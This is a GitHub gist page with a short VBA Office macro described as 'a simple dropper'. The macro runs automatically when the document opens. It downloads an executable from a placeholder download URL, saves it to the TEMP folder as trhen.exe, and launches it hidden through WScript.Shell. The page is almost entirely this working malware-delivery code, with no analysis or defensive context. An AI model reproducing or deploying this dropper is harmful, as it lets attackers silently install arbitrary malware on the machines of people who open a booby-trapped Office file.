Skip to content

Instantly share code, notes, and snippets.

@y0no
Created February 19, 2016 09:28
Show Gist options
  • Save y0no/635ace888b06ef764596 to your computer and use it in GitHub Desktop.
Save y0no/635ace888b06ef764596 to your computer and use it in GitHub Desktop.
A simple dropper used with Office macro
Sub AutoOpen()
Auto_Open
End Sub
Sub Auto_Open()
payloadURL = "<Download URL>"
Dim req: Set req = CreateObject("Microsoft.XMLHTTP")
Dim payloadStream: Set payloadStream = CreateObject("Adodb.Stream")
req.Open "GET", payloadURL, False
req.Send
tmpDir = Environ("TEMP")
exePath = tmpDir + "\trhen.exe"
With payloadStream
.Type = 1
.Open
.write req.ResponseBody
.savetofile exePath, 2
End With
Set WshShell = CreateObject("WScript.Shell")
cmds = WshShell.Run(exePath, 0, True)
Set WshShell = Nothing
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment